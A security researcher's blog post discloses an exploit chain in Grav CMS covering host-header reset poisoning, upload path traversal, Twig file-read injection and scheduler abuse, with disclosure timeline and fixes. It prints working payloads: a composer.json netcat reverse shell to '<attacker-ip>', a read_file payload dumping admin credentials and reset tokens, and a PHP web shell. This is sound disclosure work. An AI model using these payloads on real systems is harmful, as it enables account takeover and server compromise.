In this blog post, critical security vulnerabilities discovered in Grav CMS are explored. Two out of four issues I reported have been assigned CVE-2024-27921 and CVE-2024-34082. By exploiting a combination of these vulnerabilities, an unauthenticated attacker can escalate privileges and execute code on the server. This blog post details how a manual source code review was performed to uncover these vulnerabilities, explaining their mechanisms and potential impact.

Overview

This is the story of how I went from zero research experience to discovering an unauthenticated remote code execution exploit chain in the Content Management System Grav.

Picture this: I had just started my role at TantoSec and had my first allocated research time coming up. I had never spent weeks researching a single topic, and as you can imagine, I was nervous. I had so many questions. What topic do I choose? How do I even begin? What should I be doing? Thankfully, my team is incredibly supportive, so I began bombarding them with questions. I got a good idea of what outcome I should be expecting, which was simply to “discover or learn about vulnerabilities and processes, then show it to the team so everyone can learn!”

Animesh, one of my very good friends and colleagues, told me about Grav CMS, which he had encountered during his OSCP preparation work. He said “It has a few CVEs, so it might be worth looking at”. So, I got to work with a target and an end goal in mind, and I surprised myself. I learned so much about manual source code review and PHP. This is where I started building my own research methodology, and it paid off with my first two CVEs!

I found a few vulnerabilities in Grav CMS: password reset poisoning, Server-Side Template Injection (SSTI), File Upload Path Traversal, and finally, abusing a feature to get code execution. This was a full attack chain where an unauthenticated user could end up as an administrator and execute code on the server for a complete compromise. I was chuffed!

About Grav

Grav is a Fast, Simple, and Flexible file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are already up and running.

While going through the documentation and trying to understand how to install it, I discovered that Grav can be set up in two different ways. The first method is as a static site, which requires manual changes to the source code on the web server for content modification. The second method involves using the Administrator plugin, which provides a user interface for managing Grav.

Although this plugin is optional, it seems to be the norm for most installations, judging by Grav’s Discord community and ZoomEye. ZoomEye shows about 36,000 instances when searched for “Grav Admin Login,” which is a significant number. This is not surprising, considering its Docker image has over 100K pulls and 14.5K stars on GitHub.

Installation

So naturally, my target is Grav with its Administrator plugin. There are a lot of ways to set this up according to the installation documentation. I decided to use the Official Grav Docker image, as this is the best option in my opinion due to Docker’s versatility.

Since the Administrator plugin comes with a ton of features, most interestingly User Management, I used the following Docker Compose file to spin up Mailhog and set up SMTP in Grav for email shenanigans:

services:
  grav:
    build: ./
    ports:
      - 80:80
  
  mailhog:
    image: mailhog/mailhog:latest
    container_name: mailhog-official-Grav
    ports:
      - "1025:1025"
      - "8025:8025"

With this docker-compose.yml file and the official Dockerfile in the same directory, I spun up the Grav instance using the following command:

docker compose up --build -d

This setup will make the Grav application available at http://localhost, the Mailhog web interface at http://localhost:8025, and the SMTP server accessible on port 1025.

Thought Process

My research process has evolved. I now start by mapping and understanding the routing mechanism of the application, followed by reviewing sensitive unauthenticated functionalities like login, registration, and password reset. However, this was not the case with Grav, as it was my first time working with it 😂. To clearly demonstrate the progression from unauthenticated access to remote code execution (RCE) in this blog, I will rearrange the findings to present a logical attack chain.

Before diving into that, let me explain how I navigated this seemingly chaotic process. I began by examining various functionalities, both authenticated and unauthenticated. Previous CVEs for Grav mostly involved authenticated Server-Side Template Injection (SSTI) by low-privileged users, which led me to study these CVEs and their fixes. These vulnerabilities were addressed with a denylist approach to block dangerous functions. While this method is useful, it’s not the most effective, and we’ll discuss better prevention strategies later. This made me suspect that user management and authentication functionalities might not have been thoroughly examined by other researchers, given the focus on SSTI.

Initially, I approached the functionalities as a black-box pentest. I observed that Administrators could configure users with varying privileges, which led me to discover a vulnerability allowing Remote Code Execution (RCE), although its success relied on factors outside an adversary’s control—a detail I’ll explore further.

Next, I investigated unauthenticated components and found a vulnerability in the password reset functionality that could be exploited via a host header poisoning attack, potentially compromising user accounts without authentication. Following this, I revisited the denylist to test if I could bypass it and identified a unique privilege escalation vector by dumping user credentials through SSTI. Finally, I explored the administrative features and found that abusing the “Scheduler” led to server code execution, completing the attack chain.

As an overview, this is the rough attack chain possible from the above mentioned vulnerabilities:

Diagram showing an attack chain

CVE-🚫: Password Reset Poisoning

According to the exploit chain diagram above, Password Reset Poisoning is the first step in our exploit chain. This is a very interesting vulnerability that I often encounter in real pentests. Naturally, when I was reviewing the code for the password reset flow, I had to check for this.

To explore this, we first need to configure SMTP in Grav. I won’t go into the details of setting this up, but in short, you can configure the SMTP host and port in the Admin panel to point to the Mailhog Docker container’s IP with port 1025. For more details on setting this up for Grav, visit https://github.com/getgrav/grav-plugin-email.

So what is the password reset flow here? First, we need to navigate to /admin/forgot as an unauthenticated user and then use the Administrator’s username admin to request password reset: Grav password reset page

Looking at our Burp Interception proxy, it sends a POST request to /admin/forgot with the username for password reset: BurpSuite Interception tab showing the password reset HTTP request

This request reaches the taskForgot() function in LoginController.php at user/plugins/admin/classes/plugin/Controllers/Login. This is where the password reset link is created and emailed to the user.

/**
 * Handle the email password recovery procedure.
 *
 * Sends email to the user.
 *
 * @return ResponseInterface
 */
public function taskForgot(): ResponseInterface
{
    <!--Snipped: Code generating the reset token, verifying rate limit, etc--!>*/>
    // Do not trust username from the request.
    $fullname = $user->fullname ?: $username;
    $author = $config->get('site.author.name', '');
    $sitename = $config->get('site.title', 'Website');
    $reset_link = $this->getAbsoluteAdminUrl("/reset/u/{$username}/{$token}");

    <!-- Snipped --!>

The highlighted line with the $reset_link variable is where the password reset link is contracted. So what is the getAbsoluteAdminUrl() function doing? Let’s take a look at the function which can be found in user/plugins/admin/classes/plugin/Controllers/AdminController.php:

public function getAbsoluteAdminUrl(string $route, string $lang = null): string
{
    /** @var Pages $pages */
    $pages = $this->grav['pages'];
    $admin = $this->getAdmin();
    
    return $pages->baseUrl($lang, true) . $admin->base . $route;
}

In the return statement above, it appears to be concatenating three different parts to generate the reset URL. The first is the value returned by the baseUrl() method, second is the values of $admin->base and the third is $route which is the string passed to this function by getAbsoluteAdminUrl containing the username and reset token.

Tracking the first element, we can see the following code for the baseUrl() method that can be found in system/src/Grav/Common/Page/Pages.php:

public function baseUrl($lang = null, $absolute = null)
{
    if ($absolute === null) {
        $type = 'base_url';
    } elseif ($absolute) {
        $type = 'base_url_absolute';
    } else {
        $type = 'base_url_relative';
    }

    return $this->grav[$type] . $this->baseRoute($lang);
}

This method appears to determine the URL type - default, absolute, or relative, by evaluating the $absolute parameter. If the $absolute parameter is true, it sets the URL type to base_url_absolute; if it’s false, it sets it to base_url_relative. If $absolute is null, it defaults to base_url. So in this case, baseUrl($lang, true) would enter the else if block and set $type to base_url_absolute.

Okay so $type is base_url_absolute, so it retrieves the value of grav['base_url_absolute'] as seen in the return statement. So what is the value of this variable?

If we look at Grav’s documentation on base_url_absolute, we can deduce that it returns the host information from the URL. If you want to dive deeper into what’s happening behind the scenes, please keep reading. If not, please click here to jump to the exploitation bit.

Tracking it down and live debugging, I found that every request is received by the server and system/src/Grav/Common/Uri.php then processes any request URLs. If we look at the Call Stack of different requests, we can see this pattern: Call Stack as seen in VSCode while live debugging

And this is where Grav sets base_url_absolute:

// Strip the file extension for valid page types
if ($this->isValidExtension($this->extension)) {
    $path = Utils::replaceLastOccurrence(".{$this->extension}", '', $path);
}

// set the new url
$this->url = $this->root . $path;
$this->path = static::cleanPath($path);
$this->content_path = trim(Utils::replaceFirstOccurrence($this->base, '', $this->path), '/');
if ($this->content_path !== '') {
    $this->paths = explode('/', $this->content_path);
}

// Set some Grav stuff
$grav['base_url_absolute'] = $config->get('system.custom_base_url') ?: $this->rootUrl(true);
$grav['base_url_relative'] = $this->rootUrl(false);
$grav['base_url'] = $config->get('system.absolute_urls') ? $grav['base_url_absolute'] : $grav['base_url_relative'];

RouteFactory::setRoot($this->root_path . $setup_base);
RouteFactory::setLanguage($language->getLanguageURLPrefix());
RouteFactory::setParamValueDelimiter($config->get('system.param_sep'));

The highlighted code above checks if a custom base URL (system.custom_base_url) is set in the Grav configuration file and uses that if available, if not, it defaults to whatever is returned by the rootUrl(true) function. And what is the rootUrl(true) returning in this case? We can find this in the same Uri.php file:

public function rootUrl($include_host = false)
    /**
     * Return root URL to the site.
     *
     * @param bool $include_host Include hostname.
     * @return string
     */
    public function rootUrl($include_host = false)
    {
        if ($include_host) {
            return $this->root;
        }

        return Utils::replaceFirstOccurrence($this->base, '', $this->root);
    }

When we call this rootUrl function with include_host=true, it enters the if block and returns $this->root;. This extracts the variable root from the current Uri class which is set when the class is initialised by init():

/**
 * Initializes the URI object based on the url set on the object
 *
 * @return void
 */
public function init()
{
    <!-- Snipped --!>

    // Handle custom base
    $custom_base = rtrim($grav['config']->get('system.custom_base_url', ''), '/');
    if ($custom_base) {
        $custom_parts = parse_url($custom_base);
        if ($custom_parts === false) {
            throw new RuntimeException('Bad configuration: system.custom_base_url');
        }
        $orig_root_path = $this->root_path;
        $this->root_path = isset($custom_parts['path']) ? rtrim($custom_parts['path'], '/') : '';
        if (isset($custom_parts['scheme'])) {
            $this->base = $custom_parts['scheme'] . '://' . $custom_parts['host'];
            $this->port = $custom_parts['port'] ?? null;
            if ($this->port && $config->get('system.reverse_proxy_setup') === false) {
                $this->base .= ':' . $this->port;
            }
            $this->root = $custom_base;
        } else {
            $this->root = $this->base . $this->root_path;
        }
        $this->uri = Utils::replaceFirstOccurrence($orig_root_path, $this->root_path, $this->uri);
    } else {
        $this->root = $this->base . $this->root_path;
    }

In the above code, if there is no custom_base_url set in Grav configuration file, the code enters the else block. This sets root by combining $this->base and $this->root_path. We will ignore root_path for now as we can assume for now that this is extracting the request path. Following the code, we can find that base is set in the reset() method within this class like so:

protected function reset()
{
    // resets
    parse_str($this->query, $this->queries);
    $this->extension    = null;
    $this->basename     = null;
    $this->paths        = [];
    $this->params       = [];
    $this->env          = $this->buildEnvironment();
    $this->uri          = $this->path . (!empty($this->query) ? '?' . $this->query : '');

    $this->base         = $this->buildBaseUrl();
    $this->root_path    = $this->buildRootPath();
    $this->root         = $this->base . $this->root_path;
    $this->url          = $this->base . $this->uri;
}

And the highlighted code above shows that it again calls the buildBaseUrl() method:

/**
    * Get the base URI with port if needed
    *
    * @return string
    */
private function buildBaseUrl()
{
    return $this->scheme() . $this->host;
}

Following again to find where host is set, we find this piece of code:

// Build host.
if (isset($env['HTTP_X_FORWARDED_HOST']) && Grav::instance()['config']->get('system.http_x_forwarded.host')) {
    $hostname = $env['HTTP_X_FORWARDED_HOST'];
} else if (isset($env['HTTP_HOST'])) {
    $hostname = $env['HTTP_HOST'];
} elseif (isset($env['SERVER_NAME'])) {
    $hostname = $env['SERVER_NAME'];
} else {
    $hostname = 'localhost';
}
// Remove port from HTTP_HOST generated $hostname
$hostname = Utils::substrToString($hostname, ':');
// Validate the hostname
$this->host = $this->validateHostname($hostname) ? $hostname : 'unknown';

The above code in this case, assigns the value of HTTP_HOST or the request Host header’s value to $hostname when the HTTP_X_FORWARDED_HOST is either not set or not permitted by the configuration. It then removes the port from the Host header’s value and stores it in $hostname. Finally, it again calls the validateHostname method to use a regular expression (regex) to determine if the provided hostname is valid:

public function validateHostname($hostname)
{
    return (bool)preg_match(static::HOSTNAME_REGEX, $hostname);
}

If the above function returns true, the value of $this->host is assigned the value of $hostname which is the Host header that can be controlled by an attacker.

OKAY, so after a lot of debugging gymnastics, there is light at the end of this tunnel. The above function does regex check against HOSTNAME_REGEX which we can find just below the class declaration of this Uri class:

class Uri
{
    const HOSTNAME_REGEX = '/^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$/';

    <!-- Snipped --!>

This regex simply checks that the hostname consists of labels separated by dots, where each label starts and ends with an alphanumeric character and can contain alphanumeric characters or hyphens in between. So any valid URL would work???!!!! Verifying this using an online Regex tester tool: RegEx testing website showing our injection passes the regex

Password Reset Poisoning Exploitation

Now we know for sure that the Host Header Poisoning attack will work and we can exploit it to control the password reset link sent to users. Navigating to /admin/forgot in our grav installation to access the admin password reset form and intercepting the request in BurpSuite for a valid username admin: Grav password reset page

Now we can modify the intercepted request’s Host header with an attacker controlled domain and forward the request: Using BurpSuite interceptor to modify the Host Header

Then we can see in our MailHog email server that we set up previously that the password reset link sent to the admin user is poisoned!! MailHog instance getting email with poisoned password reset link

If the user clicks the link, we will now be able to steal the password reset token and use it to reset the user’s password and take over that account 😁 Burp Collaborator receiving the password reset token upon clicking the poisoned link

Using that token, we can see that we can reset the password for the victim user: Proof of Concept showing compromised password reset token can be used

Yes gif

Responsible Disclosure for CVE-🚫

I reported this finding to the Grav maintainers via their GitHub Security page. Unfortunately, this was closed as a duplicate, stating it was addressed in a recent Login plugin update. The fix involved adding an optional site_host directive in Grav’s configuration, which users have to implement manually.

I validated this by setting the site_host in Grav’s configuration and found that the vulnerability still persisted. On May 6, 2024, I responded with a complete proof of concept demonstrating that the setting did not eliminate the vulnerability. The Grav developer team’s reply indicated that they had made a similar fix for the Administration plugin but had forgotten to commit it because they were waiting for the Login plugin’s release.

As the maintainers noted, “The vulnerability will exist when you don’t set the site_host because manually specifying site host and using that provided site_host is the only sure-fire way to avoid such vulnerabilities.”

This reliance on users to configure this directive properly leaves many installations vulnerable, which is not a good practice. For example, Docker is most people’s preference these days to deploy an application like Grav quickly. If GravCMS is deployed using the Official Docker Docker Image for Grav, it would be vulnerable to this attack.

Moreover, the maintainers mentioned that the attack requires users to be “fooled” into clicking a link to reset their password, which downplays the seriousness of the issue. For example, users or companies that deploy email security tools will often have bots or sandboxes that automatically visit links received in the email body to check for phishing, which could result in zero-click exploitation. I believe this is an insufficient response to a potentially significant security risk, and proper fixes need to be made to ensure this is completely remediated.

If you have Grav CMS deployed and want to make sure it is not vulnerable to a password reset poisoning attack, take the following steps:

  1. Navigate to /admin/plugins while logged in as an administrator and click on the “Login” plugin: Grav Admin Plugins
  2. Go to the Security tab and enforce the Site Host value to your domain where Grav is deployed: Modifying Site Host in Grav Login Plugin

CVE-2024-27921: File Upload Path Traversal

Moving on to the next part of our attack chain, we now have a foothold in a Grav installation. In our Proof of Concept above, we compromised an admin user, but for the sake of a complete attack chain, let’s assume that an attacker was only able to compromise the lowest possible privilege, Pages. This privilege, if enabled for a user, would allow them to perform various “Create,” “Read,” “Update,” “Delete,” and “List” operations on the site pages. This can be further refined to grant only specific roles, such as "Pages" with "Create" access. I decided to create a user account with "Pages" access with just the "Update" privileges and started looking for possible privilege escalation vectors.

So let’s add Chris P. Chicken as a user from the Administrator portal at /admin/accounts/users/:add: Adding a new account Chris P. Chicken

Then select Allowed for Login to Admin and assign the Update privilege: Adding a low privileged user

After logging in as chris with “Update” privilege, I found several interesting functionalities. The ability to upload files and use of the Twig template engine for page contents tickled my hacking senses. I particularly enjoy hacking file uploads as they are often vulnerable. Given that Grav is a PHP application, I started by attempting to upload a variety of extensions that could allow me to invoke a web shell. Unfortunately, Grav checks file extensions against both, an allowlist and a denylist, before uploading the file to the server, and none of the dangerous PHP extensions such as .php, .phtml, .php3, .php5, .phar were allowed.

Grav File Upload

Error message on php file upload

However, it doesn’t end there. There are so many things that can go wrong with file uploads. Brit Meme

So I tried a path traversal sequence and something happened! Burp Repeater showing file uploaded with traversal sequence

But what happened?

Using ‘../’ aka “go one directory back”, I was able to change the directory the uwu.jpg file was uploaded to as seen in this screenshot of VSCode which is displaying the filesystem of the Grav docker container: VSCode attached to Grav Docker instance showing file uploaded with .. before filename

But the filename appears to start with two dots “..” after it is uploaded to the server. Why is this happening? Let’s take a look at the code 🤔

Code Review

The filename appears to be handled in \system\src\Grav\Common\Media\Traits\MediaUploadTrait.php by the checkFileMetadata function:

/**
 * Checks that file metadata meets the requirements. Returns new filename.
 *
 * @param array $metadata
 * @param array|null $settings
 * @return string
 * @throws RuntimeException
 */
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string
{

<!-- Snipped --!>     

        if (null === $filename) {
        // If no filename is given, use the filename from the uploaded file (path is not allowed).
        $folder = '';
        $filename = $metadata['filename'] ?? '';
    } else {
        // If caller sets the filename, we will accept any custom path.
        $folder = dirname($filename);
        if ($folder === '.') {
            $folder = '';
        }
        $filename = Utils::basename($filename);
    }
    $extension = Utils::pathinfo($filename, PATHINFO_EXTENSION);
    
<!-- Snipped --!>     

            $filepath = $folder . $filename;   

After we upload the file, the application validates a few characteristics of the file such as the size, name, mime type and extension. We are interested in the portion of the code above where the filename is decided.

The code first checks if the filename is null. Since we provided the filename as ../../../../uwu.jpg, it will pass this check and go to the else block. In the else block there is a call to the dirname PHP function passing the $filename as a parameter which stores the return value in the $folder variable.

According to the PHP docs for dirname(), it “Returns a parent directory’s path”. In this case, since we supplied ../../../../uwu.jpg, dirname returns ../../../... We can verify this by running a interactive php shell using the php -a command:

PHP Dirname Function

The code then checks if the $folder variable is . and replaces it with an empty string if it is. In this case, the code does not enter this if block. It then extracts the file’s base name using a custom implementation of the PHP basename at \system\src\Grav\Common\Utils.php:

     * Unicode-safe version of the PHP basename() function.
     *
     * @link  https://www.php.net/manual/en/function.basename.php
     *
     * @param string $path
     * @param string $suffix
     * @return string
     */
    public static function basename($path, string $suffix = ''): string
    {
        return rawurldecode(basename(str_replace(['%2F', '%5C'], '/', rawurlencode($path)), $suffix));
    }

According to the PHP manual, basename() “Returns trailing name component of path”. Which in this case returns uwu.jpg: PHP Basename function

It then concatenates the $folder and $filename variables whose value is ../../../.. and uwu.jpg respectively. The code then assigns the concatenated value to $filepath that results in ../../..uwu.jpg. It then finally creates the file with name ..uwu.jpg three directories back from the intended upload directory. Now we know why our uploaded file started with .. on the server!

With this deduction, we should be able to get rid of the “..” if we supply ../../../u/wu.jpg as the filename. This would make the dirname value to be ../../../u and the filename to be wu.jpg. The resulting filename would be ../../../uwu.jpg. Verifying this with php: PHP Dirname and Basename Concatenation

Using that filename from Burp Repeater for the file upload request to supply ../../../u/wu.jpg as the filename and send the request: Burp interceptor showing successful file upload

And it worked! The file was uploaded to the server with the filename uwu.jpg three directories behind ../../../ like we wanted it to: Successfully removed .. from the filename

Now the question is, what can we do with this vulnerability? We have established that Grav does not allow upload of any dangerous PHP extensions that we can abuse to upload a web shell. However, files with these extensions can be uploaded are also in use by Grav:

  • .json
  • .css
  • .zip

File Extensions able to be uploaded to Grav

An important thing to note with this vulnerability is that, Grav replaces the file on the server if the filename to be uploaded already exists. So with the above information, this vulnerability can be abused to do the following:

1. Overwrite composer.json to inject system command

Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you. Using composer is one of the ways Grav can be installed.

Using a netcat reverse shell payload and adding it to a copy of our Grav installation’s composer.json file’s scripts section:

    },
    "scripts": {
        "api-17": "vendor/bin/phpdoc-md generate system/src > user/pages/14.api/default.17.md",
        "post-create-project-cmd": "bin/grav install",
        "phpstan": "vendor/bin/phpstan analyse -l 2 -c ./tests/phpstan/phpstan.neon --memory-limit=720M system/src",
        "phpstan-framework": "vendor/bin/phpstan analyse -l 5 -c ./tests/phpstan/phpstan.neon --memory-limit=480M system/src/Grav/Framework system/src/Grav/Events system/src/Grav/Installer",
        "phpstan-plugins": "vendor/bin/phpstan analyse -l 1 -c ./tests/phpstan/plugins.neon --memory-limit=400M user/plugins",
        "test": "vendor/bin/codecept run unit",
        "test-windows": "vendor\\bin\\codecept run unit",
        "command" :"nc <attacker-ip> 8001 -e /bin/sh"
    },

According to composer documentation, the “command” script occurs before any Composer Command is executed on the CLI.

We will upload this malicious composer.json with the filename ../../../c/omposer.json . This will upload it to the web root of the Grav installation and replace the actual composer.json file.

Next time a composer command is run on the server, we will get a reverse shell! This includes the Grav CLI Application’s bin/grav composer .

Simulating a composer command running on the server: Reverse shell trigger

Reverse shell connecting back! Reverse shell listener getting a connection

I was really proud of myself for figuring out that I could replace the composer.json file with a fake one containing a malicious command. In my mind, I thought I was a genius for coming up with it on my own — only to later discover that PayloadsAllTheThings already had it documented 🤡. It’s like when you think you’ve written the perfect lyrics, start strumming, and then realise it sounds just like Wonderwall.

2. Overwrite Backup files with malicious .zip files

Grav provides administrators with the ability to create backups of the site. We can exploit this file upload vulnerability to overwrite or create malicious backup files. This can result in loss of original backups that can be crucial for restoring the application. This can also result in complete compromise of the server.

Fake Backup Upload

The above file gets uploaded to the server as:

Backup uploaded to Grav’s backup folder

The naming convention for backup files in Grav is “default_site_backup–” with the date time appended to it. The above file name is only for proof of concept. This is reflected in the admin portal where it changes the date time to a human readable format: Backup shown in Grav’s admin interface An attacker can modify the datetime of the uploaded file by controlling the filename to make it appear to be the most recent backup 😂

3. Overwrite .css files to CSS injection

This vulnerability can also be used to replace CSS files to extract data using CSS Injection. This is another scenario where an authenticated adversary could extract sensitive information such as passwords using a targeted attack.

As a proof of concept, replacing the real login.css file in Grav with a malicious CSS to overwrite the contents is loaded when a user visits a page using login.css: Overwriting CSS files using path traversal

The @import CSS directive when loaded by the browser interacting with the attacker controlled server that can be used for exfiltration of information within the page: CSS Import statement loaded in victim’s browser

Responsible Disclosure for CVE-2024-27921

I reported this vulnerability on the 13th of January, 2024 to the Grav maintainers using the Github Security page. This issue was fixed in Grav version 1.7.45.

CVE-2024-34082: File Read to Account Takeover

File upload path traversal was pretty good, however, the big limitation in exploiting it was the fact that someone has to run a composer command on the server for the reverse shell to trigger. This did not tickle my fancy. I wanted something better. So I started looking at other things we can do instead of file uploads as the Chris P. Chicken user with Pages Update privilege.

To understand this finding, we need to understand a couple things about Grav. First, Grav is a flat file CMS. This means that there is no use of a database as everything is stored in yaml configuration files. Second, looking at previous CVEs for Grav, there is a common theme, Twig Server Side Template Injection (SSTI): Grav’s Github Security Page

I looked at how this was fixed in the code base and as I mentioned at the beginning of this article, it uses a denylist for dangerous Twig methods. This is not the best way to prevent SSTI vulnerabilities as denylists are prone to bypasses. Hey, if you’re reading this, I’m thrilled! Send me a message on LinkedIn to let me know—it’s amazing to think someone out there is enjoying my work. So a low privilege user with update privileges can still use templating language to modify and render page contents, but the low hanging fruits to exploit this vulnerability do not exist. So I decided to take on this challenge and started go through Grav and Twig documentation in hopes of finding a bypass myself.

Then I stumbled on this beauty, the read_file function in Grav that can be invoked using Twig templating syntax.

Remember how I said that Grav is a flat file system, so where does it store user credentials? That’s right. In a file! Ah ha!! Going through the files in the server, I can see that every user has their own yml file under /var/www/html/grav/user/accounts/. For example, the Administrator user with username admin has admin.yml: User account details stored in yml files There’s also the other user chris and a few other test accounts I created during my research.

Now using our low privileged user Chris P. Chicken’s account, let’s see if we can use this Twig function to get this cheese 🧀. Using the payload {{ read_file('/var/www/html/user/accounts/admin.yml') }}: SSTI using read_file function

To check if it worked we can navigate to /home path where Grav is installed: SSTI payload executed

So now we can grab an admin user’s password hash and crack it using hashcat or your tool of choice, but this might not always work if the password is genuinely strong and not in any password list. Don’t worry, I have one more trick up my sleeve. Remember there is no database, and there is a password reset functionality? Mmhmmmm!!

When a password reset request is sent for a user, the reset token is stored in the user’s configuration file! So sending a password reset as admin user will allow us to grab the token and take over the account: User’s password reset token using SSTI

Using the extracted token, we can create a valid path /admin/reset/u/admin/409230d4d4052c4e240116d6d4fb7 and reset the admin’s password: Proof of Concept Using Grav’s Password Reset Token from SSTI

Responsible Disclosure for CVE-2024-34082

I reported this vulnerability on the 5th of May, 2024 to the Grav maintainers using the Github Security page. This issue was fixed in Grav version 1.7.46.

Awesome blossom! Now we have a part of our attack chain from unauthenticated to an administrator user.

Dancing gif

What’s next you ask? Cheese. We need cheese!!!

Feature Abuse: Remote Code Execution using Scheduler

What can we do using the Administrator portal in Grav? What can we not is the better question. There’s so many functionalities here, installation of plugins, user management, configuration management, themes, backups, scheduler, logs, reports, direct install, and so on. So many targets but scheduler in particular caught my eye. The bells started ringing and all I could hear was cron jobs.

The scheduler functionality can be accessed as an admin at /admin/tools/scheduler. But this is confusing me: Grav Scheduler

It says that this needs to be manually enabled but I did not manually enable this and it shows that its “Installed and Ready”? Turns out its the Official Grav Docker Image we were using where this is installed by default at https://github.com/getgrav/docker-grav/blob/ebdf201d5b6de099e74f904ff1c415204f95d761/Dockerfile#L65: Grav Official Docker Image

Now using the Custom Scheduler Jobs, let’s plant a web shell to the web root of the Grav installation! We can upload this simple PHP web shell by setting the Command to:

<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');}?>

And the Output File to /var/www/html/shell.php.

Grav Scheduler Configuration for Shell Upload

To verify if our web shell was created by the Scheduler, we navigate to /shell.php?cmd=whoami: Command execution in web shell

Now, THAT’S THE CHEESE!

How to prevent such vulnerabilities?

I exploited a similar vulnerability in my previous blog post. The best approach is to simply remove features like these from web applications. Any front-end feature that allows server-side command execution should not exist.

I’ve heard the argument that such features are restricted to administrators within the web application. However, the critical distinction lies in the term “web application administrator.” The trust boundary between a system administrator responsible for deploying and maintaining the site, and an administrator within a web application, is entirely different. It’s crucial to recognise this difference when considering security implications.

Conclusion

In this attack chain, we began as an unauthenticated user and exploited a password reset link poisoning vulnerability to gain a foothold as a low-privileged user. From there, we leveraged a Twig SSTI (Server-Side Template Injection) vulnerability to escalate our privileges to an Administrator. Finally, by exploiting a feature available to an Administrator, we used a system cron job to create a web shell in the web root directory, enabling code execution.

The maintainers of Grav addressed and fixed these vulnerabilities based on their severity, which resulted in mixed timelines. For example, CVE-2024-27291 (File Upload Path Traversal) was fixed after nearly two months, while CVE-2024-34082 (SSTI) was patched within a day.

Grav CMS’s default vulnerability to Password Reset Poisoning attacks should be taken more seriously. To enhance security, the password reset process should be updated to make the Site Host option mandatory rather than optional, as anyone deploying the system without awareness of this vulnerability could have their server compromised.

If you are thinking of deploying Grav with the Administrator plugin, always follow security best practices. You can find some useful recommendations on how to get started in Grav’s Security documentation.

Timeline

  • 13/01/2024 - Reported File Upload Path Traversal
  • 05/03/2024 - CVE-2024-27921 assigned and vulnerability patched in verion 1.7.45
  • 04/05/2024 - Reported Password Reset Poisoning
  • 05/05/2024 - Reported SSTI to Account Takeover
  • 06/05/2024 - Password Reset Poisoning marked as duplicate
  • 06/05/2024 - CVE-2024-34082 assigned to SSTI and vulnerability patched in version 1.7.46

About the Author

Riyush Ghimire is a Security Consultant at Tanto Security, passionate about application security. He hopes to grow in the field and share his insights and findings through research. You can connect with Riyush on LinkedIn.